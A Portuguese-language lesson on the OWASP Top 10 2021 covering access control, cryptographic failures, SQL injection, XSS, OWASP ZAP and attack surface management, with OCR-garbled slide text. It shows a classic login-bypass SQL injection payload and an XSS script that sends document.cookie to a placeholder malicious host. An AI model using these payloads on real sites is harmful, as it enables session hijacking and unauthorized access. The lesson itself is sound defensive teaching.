Aula 9 - Analise de Aplicacoes Web -
OWASP Top 10 (Parte 1)

No mundo digital de hoje, onde cada clique, cada transacao e cada interacao acontece através de aplicacées web,
a seguranca desses sistemas nao € apenas um detalhe técnico; é a espinha dorsal da confianca e da continuidade
dos negocios. Imagine que vocé esta construindo uma fortaleza digital para proteger os dados mais valiosos de
uma empresa ou, talvez, as informagdes pessoais de milhées de usuarios. Sem uma compreensao sélida das
vulnerabilidades, essa fortaleza pode ter portas abertas e muros frageis, convidando invasores a entrar.

Esta aula € 0 seu guia para entender as ameacas mais criticas que assolam as aplica¢cées web, conforme mapeado
pela Open Web Application Security Project (OWASP) em seu renomado Top 10. Nao se trata apenas de memorizar
uma lista, mas de compreender a Idgica por tras de cada falha, como ela pode ser explorada e, mais importante,
como podemos construir sistemas mais resilientes. Ao final desta jornada, vocé estara apto a identificar, analisar e
propor solucdes para as vulnerabilidades mais comuns, transformando-se em um guardido mais eficaz no cenario
da ciberseguranca.

Nosso percurso comecara com uma introducao ao OWASP Top 10 2021, desvendando sua importancia e
metodologia. Em seguida, mergulharemos nas trés primeiras categorias criticas: Quebra de Controle de Acesso
(AO1), Falhas Criptograficas (A02) e Injecao (A03), que inclui SQL Injection e Cross-Site Scripting. Exploraremos
também como ferramentas como o OWASP ZAP podem auxiliar nessa analise e, por fim, integraremos conceitos
modernos como a Gestao da Superficie de Ataque e a Abordagem Baseada em Risco para uma visao holistica da
seguranca. Prepare-se para fortalecer sua compreensao sobre a seguranca de aplicacdes web.



O Cenario das Aplicacoes Web e a
Necessidade do OWASP Top 10

Pense na internet como uma vasta cidade global, e as aplicacoes web sao os edificios que a
compoem: lojas, bancos, escritorios, hospitais. Cada um desses edificios foi construido com
um propodsito, mas nem todos sao igualmente seguros. Alguns podem ter portas
destrancadas, janelas abertas ou até mesmo fundacdes comprometidas. No ambiente
digital, essas falhas representam vulnerabilidades que podem ser exploradas por
criminosos cibernéticos, resultando em roubo de dados, interrupcao de servicos ou danos a

reputacao.
Complexidade Crescente Pressao de Prazos Necessidade de Guia
Aplicacdes modernas possuem Desenvolvedores sob pressao Um mapa das ameacas mais
multiplas camadas de codigo, podem inadvertidamente comuns permite focar esforcos
integracdes e dependéncias que introduzir falhas de seguranca onde realmente importa.
aumentam a superficie de no codigo.
ataque.

E aqui que o OWASP Top 10 entra em cena. Ele ndo é uma lista exaustiva de todas as vulnerabilidades existentes,
mas sim um consenso global das dez falhas de seguranca mais criticas e prevalentes em aplicacdes web. Pense
nele como um boletim meteoroldgico que alerta sobre as tempestades mais perigosas que se aproximam,
permitindo que vocé se prepare adequadamente. Ao entender e mitigar essas ameacas principais, vocé eleva
significativamente o nivel de seguranca de qualquer aplicacao.



Introducao ao OWASP Top 10 2021: O Guia
Essencial

O OWASP Top 10 é mais do que uma simples lista; € um projeto comunitario, mantido por
especialistas em seguranca de todo o mundo, que analisa dados de milhdes de
vulnerabilidades para identificar os riscos mais significativos. A cada poucos anos, essa
lista é atualizada para refletir a evolucao das ameacas e das tecnologias. A versao de 2021,
por exemplo, trouxe mudancas importantes, reorganizando e adicionando novas categorias
que refletem o cenario atual da ciberseguranca.

[ Importancia Transcendente: A lista serve como ponto de partida para educacdo em segurancga, padrdo
para avaliagoes de risco e diretriz para desenvolvimento seguro.

A importancia dessa lista transcende o ambiente técnico. Ela serve como um ponto de partida para a educacao em
seguranca, um padrao para avaliagcoes de risco e uma diretriz para o desenvolvimento seguro. Para estudantes
universitarios, compreender o OWASP Top 10 é fundamental para construir uma base soélida em seguranca de
aplicacoes. Para profissionais que buscam certificacdes ou concursos, € um conhecimento mandatorio,
frequentemente cobrado em exames e avaliacdes.

Ao longo desta aula e da proxima, desvendaremos cada item do OWASP Top 10 2021. Nao se preocupe em
memorizar cada detalhe agora; o objetivo € construir uma compreensao conceitual robusta. Imagine que estamos
explorando um manual de "melhores praticas de seguranca" para arquitetos de software, onde cada capitulo
aborda um tipo especifico de falha estrutural que pode comprometer todo o edificio digital.



Quebra de Controle de Acesso - O Porteiro
Falho

Imagine um predio com diferentes areas: a recepcao, escritorios comuns, salas de reuniao e
o cofre. Cada area tem um nivel de acesso restrito, e apenas pessoas autorizadas com as
credenciais corretas (cartao de acesso, chave) podem entrar. A Quebra de Controle de
Acesso (Broken Access Control) € como ter um porteiro que nao verifica as credenciais
corretamente, ou pior, que permite que qualquer pessoa entre em qualquer sala, inclusive
no cofre, sem a devida permissao.

No contexto das aplicacdes web, o controle de acesso € 0 mecanismo que garante que usuarios autenticados
(aqueles que provaram sua identidade) s6 possam acessar os recursos e funcionalidades para os quais tém
permissao. Por exemplo, um usuario comum nao deveria conseguir acessar a pagina de administracao de um site,
nem um usuario A deveria conseguir visualizar ou modificar os dados de um usuario B. Quando esses controles
falham, ocorre uma quebra de controle de acesso.

Essa vulnerabilidade é extremamente comum e perigosa porque permite que atacantes assumam privilégios de
outros usuarios, executem funcdes administrativas, acessem dados sensiveis ou até mesmo modifiquem
informacdes criticas. E como se um invasor pudesse simplesmente mudar o nimero da sala no seu cartio de
acesso e entrar em qualquer lugar. A exploracao geralmente envolve a manipulacao de parametros na URL,
cookies, tokens de sessao ou requisicoes HTTP para contornar as verificacdes de autorizacao.



Tipos Comuns de Quebra de Controle de
Acesso

A Quebra de Controle de Acesso pode se manifestar de diversas formas, cada uma com suas particularidades,
mas todas com o mesmo resultado: um usuario acessando algo que nao deveria. Uma das formas mais conhecidas
é a Insecure Direct Object Reference (IDOR), onde um atacante manipula um identificador de objeto (como um ID
de usuario ou documento) na URL ou em um parametro para acessar o recurso de outro usuario. Por exemplo,
mudar id=123 para id=124 e ver os dados de outra pessoa.

IDOR (Insecure Direct Elevacao de Privilégios Bypass de Autenticacao
Object Reference) Usuario com permissoes Contornar mecanismos de
Manipulacao de identificadores basicas consegue realizar autenticacao para acessar
de objetos na URL ou acoes exclusivas de recursos protegidos.
parametros para acessar administradores. . Manipulacio de tokens de
recursos de outros usuarios. L . -
e Falhas na logica de negocio sessao
* Exemplo: Alterar ?id=123 « \Verificacdo inadequada de e Exploracéo de falhas em
para ?id=124 permissdes cookies
e Acesso nao autorizado a e Execucéo de funcoes e Acesso direto a URLs
dados de terceiros administrativas protegidas

e Falha na validacao de
propriedade

[J Mitigacao Essencial

Para mitigar essas falhas, é crucial implementar uma politica de "negacao por padrao", ou seja, tudo é
proibido a menos que explicitamente permitido. Além disso, todas as verificacdes de acesso devem ser
realizadas no lado do servidor, pois o cliente (navegador) pode ser facilmente manipulado. Utilizar
identificadores de sessao robustos e garantir que cada requisicao seja verificada quanto a autorizacao
do usuario sao praticas essenciais para construir um controle de acesso eficaz.



Exemplo Pratico: IDOR em um Sistema de

Gerenciamento

O Cenario

Imagine um sistema de gerenciamento de documentos
onde a URL para visualizar um documento é
https://exemplo.com/documentos?id=DOC_001. Um
usuario autenticado, digamos Joao, acessa essa URL e
vé seu documento. Um atacante, Maria, percebe que
se ela alterar o id para DOC_002, ela consegue
visualizar um documento que nao pertence a ela. Isso
€& um exemplo classico de IDOR.

Conceito
Quebra de Controle de

Acesso

IDOR

Elevacao de Privilégios

Ambito/Aplicacao

Restricao de acesso a
recursos e
funcionalidades

Manipulacao de
identificadores de
objetos

Acdes de usuario com
permissoes
inadequadas

A Falha

A aplicacao falhou em verificar se o usuario Maria

tinha permissao para acessar o documento DOC_002

apos a autenticacao. A solucao seria, no lado do

servidor, antes de exibir o documento, verificar se o

DOC_002 esta associado a conta de Maria. Se nao
estiver, a aplicacao deveria negar 0 acesso e,

idealmente, registrar a tentativa.

[J Solucio: Implementar verificacdo de
propriedade no servidor antes de retornar

qualquer recurso ao usuario.

Base/Origem

Falha na légica de
autorizacao do lado do
servidor

Falha em validar
propriedade do objeto

Falha na verificacao de
permissdes de funcao

Exemplo

Usuario comum acessa
painel de administrador;
IDOR em URLs.

Alterar id=123 para
id=124 para ver dados
de outro usuario.

Usuario basico executa
funcéo de exclusao de
dados sensiveis.



Falhas Criptograficas - O Segredo Mal
Guardado

No universo da seguranca digital, a criptografia € como um cofre robusto que protege suas
informacdes mais valiosas. Ela transforma dados legiveis (texto claro) em um formato
ilegivel (texto cifrado), garantindo que apenas pessoas autorizadas, com a chave correta,
possam decifra-los. Falhas Criptograficas (Cryptographic Failures) ocorrem quando esse
cofre & mal projetado, mal implementado ou simplesmente nao € usado onde deveria,
deixando os segredos expostos.

Essa categoria foi renomeada na versao 2021 do OWASP Top 10 (anteriormente "Sensitive Data Exposure") para
enfatizar a causa raiz do problema: a falha na protecao criptografica. Nao se trata apenas de ter dados sensiveis,
mas de como esses dados sao protegidos — ou nao — em transito e em repouso. Pense em senhas, informacées
financeiras, dados de saude ou qualquer outra informacao que, se cair nas maos erradas, pode causar um grande
estrago.

As falhas criptograficas podem surgir de diversas maneiras: uso de algoritmos de criptografia fracos ou
desatualizados, chaves de criptografia mal gerenciadas ou codificadas no codigo-fonte, auséncia de criptografia
para dados sensiveis em transito (como usar HTTP em vez de HTTPS) ou em repouso (dados em banco de dados
sem criptografia), e até mesmo o uso incorreto de bibliotecas criptograficas. E como ter um cofre de ultima
geracao, mas deixar a chave debaixo do tapete.



Consequeéncias e Prevencao de Falhas
Criptograficas

8& @ O=
Consequéncias Severas Criptografia Obrigatoria Gerenciamento de Chaves
Dados sensiveis interceptados, Criptografe tudo o que é sensivel Chaves devem ser geradas de
decifrados e utilizados para em transito (TLS/HTTPS) e em forma segura, armazenadas em
fraude, roubo de identidade ou repouso (banco de dados, locais protegidos e rotacionadas
extorsao. arquivos). periodicamente.

Algoritmos Modernos Recomendados Algoritmos Legados a Evitar
o AES-256: Para criptografia de dados em repouso e MDB5: Vulneravel a colisdes
e TLS 1.2/1.3: Para comunicacao segura em transito e SHA-* Considerado inseguro
e Argon2, bcrypt, scrypt: Para hashing de senhas o RE4: Criptografia fraca
com salt o PES/3BES: Chaves muito curtas

e RSA-2048+: Para criptografia assimétrica

As consequéncias de falhas criptograficas sao severas. Dados sensiveis podem ser interceptados, decifrados e
utilizados para fraude, roubo de identidade ou extorsdao. Um atacante pode, por exemplo, capturar o trafego de
rede nao criptografado e obter credenciais de login, ou acessar um banco de dados sem criptografia e roubar
milhdes de registros de clientes. A reputacao da organizacao é gravemente comprometida, e as multas por nédo
conformidade com regulamentacdes de privacidade (como LGPD ou GDPR) podem ser altissimas.

[ Regra de Ouro: Nunca armazene chaves diretamente no codigo-fonte ou em repositérios publicos. Use
servicos de gerenciamento de chaves (HSMs, KMS) e sempre implemente salt em hashes de senhas.



Exemplo Pratico: Senhas Armazenadas
Inadequadamente

A Solucao Correta
O Problema

. o A solugao correta seria usar um algoritmo de
Considere uma aplicacao web que armazena as

senhas dos usuarios diretamente em texto claro hash moderno e seguro, como bcrypt, que

no banco de dados, ou pior, utilizando um adiciona um "salt" aleatdrio a cada senha antes

algoritmo de hash fraco como MD5 sem "salt". de fazer o hash e é projetado para ser lento,

Se um atacante Conse_gu'r aces_so a_'o banco de dificultando ataques de forca bruta. Assim,
dados (por exemplo, via SQL Injection, que

veremos a seguir), todas as senhas estarao mesmo que o banco de dados seja

expostas. No caso do MD5, ele poderia usar comprometido, as senhas permanecem

tabelas de "rainbow tables" para reverter os protegidasl pois O atacante teria que quebrar

hashes para as senhas originais em questao de cada hash individualmente, um Processo

Falhas Criptograficas

Criptografia em Transito

Criptografia em
Repouso

Protecao de dados
sensiveis em transito e
repouso

Comunicacao entre
cliente e servidor

Dados armazenados em
bancos de
dados/arquivos

Uso inadequado ou
auséncia de criptografia

Protocolos seguros
como TLS/HTTPS

Criptografia de disco,
de coluna, de arquivo

segundos. . L
computacionalmente inviavel para um grande
numero de senhas.

// Exemplo de hash seguro com bcrypt

const bcrypt = require('bcrypt’);

const saltRounds = 10;

const senha = 'minhasenha123’;

berypt.hash(senha, saltRounds, function(err, hash) {
// Armazena 'hash' no banco de dados

3

Conceito Ambito/Aplicacao Base/Origem Exemplo

Senhas em texto claro;
uso de HTTP em vez de
HTTPS; chaves fracas.

Navegacao segura em
sites bancarios; APIs
protegidas.

Banco de dados de
clientes criptografado;
backups protegidos.



Injecao - O Invasor Silencioso

A categoria AO3: Injecao (Injection) é uma das mais antigas, persistentes e perigosas do
OWASP Top 10. Ela ocorre quando dados nao confiaveis sao enviados a um interpretador
como parte de um comando ou consulta. Em vez de tratar esses dados como meros
valores, o interpretador os executa como parte do cddigo, permitindo que um atacante
manipule a Iégica da aplicacao, acesse dados nao autorizados ou até mesmo execute
comandos no sistema operacional subjacente.

Pense em um formulario de busca em um site. Vocé digita o nome de um produto e a aplicacao busca no banco de
dados. Agora, imagine que, em vez do nome do produto, um atacante digite um pedaco de cédigo SQL malicioso.
Se a aplicacao nao "limpar" ou "escapar" essa entrada adequadamente, o banco de dados pode interpretar o
cddigo do atacante como parte da consulta original, executando-o. E como dar uma instrucao a um robd, e ele, em
vez de apenas seguir a instrucao, interpreta parte dela como um comando para se autodestruir.

As vulnerabilidades de injecao sao amplas e podem afetar diversos tipos de interpretadores, incluindo SQL (SQL
Injection), comandos do sistema operacional (OS Command Injection), LDAP, XPath e, notavelmente, Cross-Site
Scripting (XSS), que injeta scripts no navegador do usuario. A chave para entender a injecao é a confianca
indevida na entrada do usuario e a falha em diferenciar dados de codigo.



SQL Injection (SQLI): Manipulando o Banco
de Dados

SQL Injection (SQLi) é o tipo de injecao mais conhecido e frequentemente explorado. Ele
permite que um atacante execute comandos SQL arbitrarios no banco de dados da
aplicacao. As consequéncias podem ser devastadoras: roubo de dados sensiveis (senhas,
informacodes de cartao de crédito), modificacao ou exclusao de dados, e até mesmo a
obtencao de controle total sobre o servidor de banco de dados.

01 02

Entrada Maliciosa Concatenacao Insegura

Atacante insere codigo SQL em campo de entrada (ex: Aplicacao concatena entrada diretamente na consulta
login, busca) SQL

03 04

Execucao no Banco Comprometimento

Banco de dados interpreta e executa o codigo malicioso  Dados roubados, modificados ou sistema comprometido

Exemplo de Ataque Classico Prevencao com Consultas Parametrizadas
-- Consulta vulneravel -- Prepared Statement (seguro)
SELECT * FROM usuarios PreparedStatement stmt =
WHERE username = '"[entrada]’ conn.prepareStatement(
AND password = '[senha]' "SELECT * FROM usuarios
WHERE username =7?
-- Entrada maliciosa: ' OR '1'="1 AND password =?");
-- Consulta resultante: stmt.setString(1, username);
SELECT * FROM usuarios stmt.setString(2, password);
WHERE username =" OR '"1'="1" ResultSet rs = stmt.executeQuery();

AND password ="...

-- Resultado: Login sem credenciais! [ Solucao: Use sempre consultas
parametrizadas (prepared statements) para
separar codigo SQL de dados.



Cross-Site Scripting (XSS): Injetando no
Navegador do Usuario

Cross-Site Scripting (XSS) é outra forma comum de injecao, mas, em vez de atacar o servidor ou o banco de
dados, ele ataca os usuarios da aplicacao. O XSS ocorre quando uma aplicacao web permite que um atacante
injete scripts maliciosos (geralmente JavaScript) no navegador de outros usuarios. Esses scripts podem roubar
cookies de sessao (permitindo o sequestro de sessao), redirecionar usuarios para sites maliciosos, exibir conteudo
falso ou até mesmo realizar acées em nome do usuario.

& & —

XSS Refletido

O script malicioso é injetado na
requisicao HTTP e "refletido" de
volta na resposta do servidor
para o navegador do usuario. E
geralmente entregue via links
maliciosos.

e Entregue via URL ou
parametros

e Nao armazenado no servidor

e Requer engenharia social

[J Prevencao de XSS

XSS Armazenado
(Persistente)

O script malicioso é
armazenado permanentemente
no servidor (por exemplo, em
um comentario de blog ou perfil
de usuario) e é servido a
qualquer usuario que acesse a
pagina afetada. Este € o tipo
mais perigoso.

e Armazenado no banco de
dados
e Afeta todos os visitantes

e Maior impacto e persisténcia

XSS Baseado em DOM

A vulnerabilidade reside no
codigo JavaScript do lado do
cliente, que manipula o DOM
(Document Object Model) de
forma insegura, sem que o
servidor esteja diretamente
envolvido na injecao.

e QOcorre no lado do cliente

e Manipulacao insegura do
DOM

e Servidor ndo processa
payload

A prevencao de XSS envolve principalmente a sanitizacao e escape de entrada de dados. Qualquer
entrada de usuario que sera exibida em uma pagina web deve ser tratada como nao confiavel e ter
caracteres especiais (como <, >, &, ", ') escapados ou codificados para que nao sejam interpretados
como codigo HTML ou JavaScript. Além disso, a politica de seguranca de conteudo (Content Security
Policy - CSP) pode ser usada para restringir quais scripts podem ser executados em uma pagina.



Exemplo Pratico: XSS Armazenado em um

Forum

O Cenario de Ataque

Imagine um férum online onde os usuarios podem
postar mensagens. Um atacante posta uma mensagem
que contém o seguinte codigo:

<script>
alert('"Vocé foi hackeado!);
</script>

Se a aplicacao nao escapar corretamente essa entrada
antes de armazena-la e exibi-la, qualquer usuario que
visualizar essa postagem vera uma caixa de alerta

Pop-up.

Conceito Ambito/Aplicacao

Execucao de codigo
nao autorizado

Injecao

SQL Injection (SQLI) Manipulacao de banco

de dados

Cross-Site Scripting Injecao de scripts no

(XSS) navegador do usuario

Ataque Mais Sofisticado

Um ataque mais sofisticado poderia ser:

<script>

document.location=
'http://site-malicioso.com/roubar-cookies?cookie="'
+document.cookie;

</script>

Este script roubaria os cookies de sessao do usuario e
0s enviaria para um site malicioso, permitindo que o
atacante sequestrasse a sessao do usuario e
assumisse sua identidade no forum.

A Solucao

A solucao e garantir que, ao exibir o conteudo da
postagem, todos os caracteres HTML e JavaScript
sejam escapados. Por exemplo:

e <setorna &lt;
e >setorna &gt;
e & setorna &amp;

Dessa forma, o navegador interpretaria o cédigo como
texto simples, e ndo como um script a ser executado.

Base/Origem Exemplo

SQLi, XSS, OS
Command Injection.

Entrada de dados nao
sanitizada/escapada

Concatenacao direta de Login sem senha; roubo

entrada em consultas de dados de tabelas.

SQL

Exibicao de entrada nao Roubo de cookies de

escapada em HTML/JS Sessao;
redirecionamento para

sites maliciosos.



Ferramentas DAST: O Scanner de
Vulnerabilidades Dinamico

Compreender as vulnerabilidades é o primeiro passo, mas como podemos encontra-las em
aplicacdes complexas e em constante evolucao? E aqui que entram as ferramentas de Teste
de Seguranca de Aplicacées Dinamicas (DAST - Dynamic Application Security Testing).
Diferente das ferramentas SAST (Static Application Security Testing), que analisam o
codigo-fonte sem executa-lo, as ferramentas DAST interagem com a aplicagcao em
execucao, simulando ataques de usuarios maliciosos para identificar vulnerabilidades.

Pense em um DAST como um "testador de invasao" automatizado. Ele navega pela aplicacao web, envia
requisicoes HTTP maliciosas, tenta injetar codigo e monitora as respostas para detectar comportamentos anormais
que indicam uma vulnerabilidade. E como ter um time de especialistas em seguranca que testa cada porta, janela e
ponto de entrada do seu edificio digital, 24 horas por dia, 7 dias por semana.

Testes em Tempo de Automacao Continua Visao Realista
Execucao Testa automaticamente a Simula ataques reais como um
Identifica vulnerabilidades que aplicacao sem necessidade de invasor interagiria com a

s6 se manifestam quando a acesso ao codigo-fonte aplicacao

aplicacao esta rodando

As ferramentas DAST sao cruciais para identificar vulnerabilidades que s6 se manifestam em tempo de execucao,
como falhas de configuracao, problemas de controle de acesso e, claro, as vulnerabilidades de injecao que
acabamos de discutir. Elas complementam as ferramentas SAST, oferecendo uma visao mais realistica de como
um atacante interagiria com a aplicacao em um ambiente de producao ou pré-producao.



OWASP ZAP: Seu Aliado na Analise de

Seguranca

Entre as ferramentas DAST, o OWASP ZAP (Zed Attack Proxy) se destaca como uma das
mais populares e poderosas, sendo de codigo aberto e amplamente utilizada por

profissionais de seguranca e desenvolvedores. O ZAP atua como um proxy entre o seu

navegador e a aplicacao web, interceptando e modificando o trafego HTTP/HTTPS. Isso

permite que voceé inspecione as requisicoes e respostas, e também que o ZAP realize

ataques automatizados.

X

Proxy de Interceptacao

Permite visualizar e modificar requisicoes e respostas
em tempo real, dando controle total sobre o trafego
HTTP/HTTPS.

Scanner Passivo

Analisa o trafego enquanto vocé navega manualmente
pela aplicacao, identificando potenciais problemas sem
enviar requisicoes maliciosas.

B

Spider/Crawler

Mapeia automaticamente a estrutura da aplicacao,
descobrindo URLs e funcionalidades ocultas.

D

Scanner Ativo

Ataca automaticamente a aplicacao com uma série de
testes para encontrar vulnerabilidades como SQLi, XSS,
e falhas de controle de acesso.

G

Fuzzer

Envia entradas de dados inesperadas ou malformadas
para testar a robustez da aplicacao contra inputs
anormais.

o

503

Relatodrios Detalhados

Gera relatorios completos com todas as
vulnerabilidades encontradas, severidade e
recomendacoes de correcao.

[ Ferramenta Indispensavel: Utilizar o OWASP ZAP é como ter um laboratério de testes de seguranca

completo na sua maquina. Ele € uma ferramenta indispensavel para qualquer pessoa que queira

aprofundar seus conhecimentos em analise de vulnerabilidades de aplicacdes web, seja para fins de
estudo, desenvolvimento seguro ou preparagao para CoOncursos.



Integrando o ZAP no Ciclo de

Desenvolvimento

A verdadeira forca de ferramentas como o OWASP ZAP reside na sua capacidade de serem integradas ao ciclo de
vida de desenvolvimento de software (SDLC). Em vez de esperar até o final do projeto para testar a seguranca, o
ZAP pode ser usado continuamente, desde as fases iniciais de desenvolvimento até a producao. Isso permite que
as vulnerabilidades sejam identificadas e corrigidas mais cedo, onde o custo de correcao é significativamente

menor.

Desenvolvimento

Desenvolvedores testam suas proprias
funcionalidades com ZAP antes de enviar codigo
para revisao

Feedback Imediato

Equipe recebe alertas instantaneos sobre novas
vulnerabilidades introduzidas no cédigo

Security by Design

Essa abordagem proativa, conhecida como "Security
by Design", garante que a seguranca seja considerada
desde o inicio do projeto, ndo como uma reflexao
tardia. E muito mais barato e eficiente corrigir uma
vulnerabilidade durante o desenvolvimento do que
apds um incidente de seguranca em producao.

Integracao Continua

ZAP automatizado roda testes de seguranga em
cada nova build da aplicacao no pipeline CI/CD

Correcao Precoce

Vulnerabilidades corrigidas antes de chegarem a
producao, reduzindo custos e riscos

Shift Left Security

O conceito de "Shift Left Security" move os testes de
seguranca para as fases iniciais do SDLC, permitindo
que desenvolvedores se tornem os primeiros
defensores da seguranca. O ZAP facilita essa
transicao ao ser acessivel e facil de usar.

Ao familiarizar-se com o OWASP ZAP, vocé nao apenas aprende a identificar vulnerabilidades, mas também a
pensar como um atacante, o que € uma habilidade inestimavel em ciberseguranca. Ele € uma ponte entre o
conhecimento tedrico das vulnerabilidades do OWASP Top 10 e a aplicacao pratica na analise de seguranca de

aplicacoes web.



Abordagem Baseada em Risco: Priorizando
o0 que Realmente Importa

No mundo da ciberseguranca, nao é possivel corrigir todas as vulnerabilidades de uma vez.
Os recursos sao limitados, e a lista de problemas pode ser esmagadora. E aqui que a
Abordagem Baseada em Risco (Risk-Based Vulnerability Management) se torna essencial.
Em vez de focar apenas na severidade técnica de uma vulnerabilidade (como a pontuacao
CVSS - Common Vulnerability Scoring System), essa abordagem prioriza as
vulnerabilidades com base no seu impacto real no negocio, na criticidade dos ativos
afetados e na probabilidade de exploracao.

Pense em um hospital. Uma vulnerabilidade em um sistema de agendamento de consultas pode ter uma pontuacao
CVSS alta, mas uma falha em um sistema de suporte a vida tem um impacto muito maior na vida dos pacientes e
na reputacao do hospital. A abordagem baseada em risco nos ajuda a diferenciar esses cenarios, direcionando
nossos esfor¢cos para proteger o que é mais valioso e mais provavel de ser atacado.

Essa metodologia € um pilar da gestao de seguranca moderna, especialmente relevante para estudantes e
profissionais que precisam tomar decisdes estratégicas. Ela move o foco de uma simples lista de "bugs" para uma
compreensao holistica do risco, permitindo uma alocacao mais inteligente de recursos e uma comunicagcao mais
eficaz com a lideranca da organizacao sobre os verdadeiros perigos.



Integrando Inteligéncia de Ameacas na
Priorizacao

Um componente chave da abordagem baseada em risco € a Inteligéncia de Ameacas (Threat Intelligence). Nao
basta saber que uma vulnerabilidade existe; é preciso saber se ela esta sendo ativamente explorada por atacantes,
se existem exploits publicos disponiveis e quem sao os grupos de ameaca que poderiam se beneficiar dela. A
inteligéncia de ameacas fornece o contexto necessario para transformar dados brutos de vulnerabilidades em
informacodes acionaveis.

Contexto é Fundamental Fatores de Priorizacao

Pontuacao CVSS

Por exemplo, uma vulnerabilidade com CVSS médio
pode ser elevada a alta prioridade se a inteligéncia de Severidade técnica da vulnerabilidade
ameacas indicar que ela esta sendo ativamente

explorada por um grupo de ransomware que visa o .

setor da sua empresa. Da mesma forma, uma Impacto no Negocio
vulnerabilidade com CVSS alto, mas sem exploits Consequéncias para operacées e reputacio
conhecidos ou interesse de atacantes, pode ter sua

prioridade reduzida temporariamente. L .
Criticidade do Ativo

Importancia do sistema afetado

Exploracao Ativa

Ameacas reais no ambiente atual

[J Gestao Dinamica: Essa integracdo permite uma gestdo de vulnerabilidades mais dinamica e adaptativa. E
como ter um sistema de alerta precoce que nao apenas detecta o incéndio, mas tambéem informa se ha
vento forte na direcao de areas criticas, se ha materiais inflamaveis por perto e se os bombeiros estao
disponiveis. Para os candidatos a concursos, entender essa nuance é crucial, pois as bancas valorizam a
capacidade de pensar estrategicamente sobre seguranca.



O Ciclo da Gestao de Vulnerabilidades

Baseada em Risco

A gestao de vulnerabilidades baseada em risco segue um ciclo continuo que garante que os esforcos de

seguranca sejam sempre alinhados com 0s objetivos e riscos do negdcio, otimizando a protecao e o uso de

recursos. Em um ambiente onde as ameacas evoluem constantemente, a capacidade de priorizar de forma
inteligente é tdo importante quanto a capacidade de identificar as vulnerabilidades.

Identificacao
Descobrir vulnerabilidades usando

DAST, SAST, testes de penetracao
e scanners automatizados

Monitoramento

Manter-se atualizado sobre
novas vulnerabilidades e
ameacas, reiniciando o ciclo
continuamente

Verificacao

Confirmar que as correcdes foram
eficazes e que as vulnerabilidades
foram realmente eliminadas

Avaliacao

Analisar o risco de cada
vulnerabilidade, considerando
CVSS, impacto no negécio,
criticidade do ativo e inteligéncia
de ameacas

Priorizacao
Ordenar as vulnerabilidades com

base no risco avaliado, focando
NOS maiores perigos primeiro

Remediacao

Corrigir as vulnerabilidades de
acordo com a prioridade
estabelecida, aplicando patches e
controles



Gestao da Superficie de Ataque (ASM):
Conheca Seu Territorio

A Gestao da Superficie de Ataque (Attack Surface Management - ASM) é um conceito que
se tornou cada vez mais vital com a crescente complexidade e distribuicao das
infraestruturas de Tl. Em termos simples, a superficie de ataque de uma organizacao ¢€ a
soma de todos o0s pontos onde um atacante pode tentar entrar ou extrair dados. Isso inclui
servidores web, APIs, aplicacdes moveis, dispositivos loT, servicos em nuvem, dominios e
subdominios, e até mesmo ativos de Tl "sombra" (shadow IT) que a organizacao pode nao
estar ciente.

Pense na sua casa. A superficie de ataque seriam todas as portas, janelas, chaminés, entradas de ar e até mesmo
a caixa de correio. Se vocé nao souber onde estao todas essas entradas, como pode protegé-las? No mundo
digital, a superficie de ataque é muito mais vasta e dinamica, mudando constantemente com a implantacao de
NOVOS Servicos, a migracao para a nuvem e a aquisicao de novas tecnologias.

Servidores Web APls Dispositivos loT

Aplicacoes e sites publicos Interfaces de programacao Sensores e equipamentos
expostas conectados

Servicos em Nuvem Shadow IT

Infraestrutura e plataformas cloud Ativos nao gerenciados oficialmente

A ASM aborda a importancia de mapear continuamente todos os ativos de uma organizagao, tanto internos quanto
externos, na nuvem e on-premises. O objetivo é ter uma visao completa e atualizada de todos os pontos de
entrada potenciais que um atacante poderia explorar. Sem esse mapeamento, € impossivel proteger efetivamente o
gue vocé nao sabe que existe.



Desafios e Beneficios da ASM

Um dos maiores desafios da ASM é a natureza elastica e distribuida das infraestruturas modernas. Com a adocao

massiva da nuvem e de microsservicos, a superficie de ataque pode se expandir e contrair rapidamente, tornando
o mapeamento manual inviavel. E por isso que as solucdes de ASM utilizam automacao, inteligéncia artificial e

técnicas de descoberta continua para identificar novos ativos e monitorar os existentes.

Desafios Principais

%

Infraestrutura Dinamica

Ativos que aparecem e desaparecem
rapidamente em ambientes cloud

Shadow IT

Servicos implementados sem conhecimento da
equipe de segurancga

Ativos Esquecidos

Subdominios e servidores antigos ainda ativos e
vulneraveis

Escala Massiva

Milhares de endpoints para monitorar
continuamente

Beneficios Estratégicos

Visibilidade Aprimorada

Conhecer todos os ativos expostos, incluindo
aqueles desconhecidos ou esquecidos

Reducao de Riscos

Identificar e priorizar a protecao de pontos de
entrada criticos

Conformidade

Atender a requisitos regulatérios que exigem um
inventario completo de ativos

Resposta a Incidentes

Ter um mapa claro da infraestrutura para
investigar e conter ataques mais rapidamente

Ao combinar a ASM com a Abordagem Baseada em Risco, as organizacdes podem nao apenas identificar todos os

seus ativos, mas também entender quais deles representam o maior risco e, portanto, merecem a maior atencao

em termos de seguranca. E uma estratégia proativa que move a seguranca de uma postura reativa para uma

postura de antecipacao e prevencao.



ASM na Pratica: Descobrindo Ativos Ocultos

Na pratica, a ASM envolve o uso de ferramentas que escaneiam a internet, registram dominios, analisam

certificados SSL, e até mesmo monitoram repositdrios de codigo para descobrir ativos digitais que pertencem a

organizacao. Por exemplo, uma empresa pode ter um subdominio antigo que foi esquecido, mas que ainda esta
ativo e rodando uma versao desatualizada de um software com vulnerabilidades conhecidas. Sem ASM, esse

subdominio seria um "ponto cego" perfeito para um atacante.

01 02

03

Descoberta Automatica

Ferramentas escaneiam a internet
buscando ativos relacionados a
organizacao (dominios, IPs, e criticidade

certificados)

04

Inventario Completo

Todos os ativos descobertos sao
catalogados e classificados por tipo

Analise de Vulnerabilidades

Cada ativo é avaliado quanto a
vulnerabilidades conhecidas e
configuracdes inseguras

05

Priorizacao e Remediacao

Ativos de alto risco sao priorizados para correcao
imediata

Cenario: Subdominio Esquecido

Uma empresa migrou seu site principal para uma nova
infraestrutura, mas esqueceu de desativar o
subdominio old.empresa.com que ainda roda uma
versao antiga do WordPress com vulnerabilidades
criticas. Um atacante descobre esse subdominio
através de ferramentas de reconhecimento e o explora
para ganhar acesso a rede interna.

Monitoramento Continuo

Processo se repete continuamente para detectar novos
ativos e mudancas

Cenario: Shadow IT

Outro cenario comum € a "shadow IT", onde
departamentos ou individuos implementam solucées
de software ou servicos em nuvem sem o
conhecimento ou aprovacao da equipe de
Tl/seguranca. Esses ativos ndo gerenciados podem
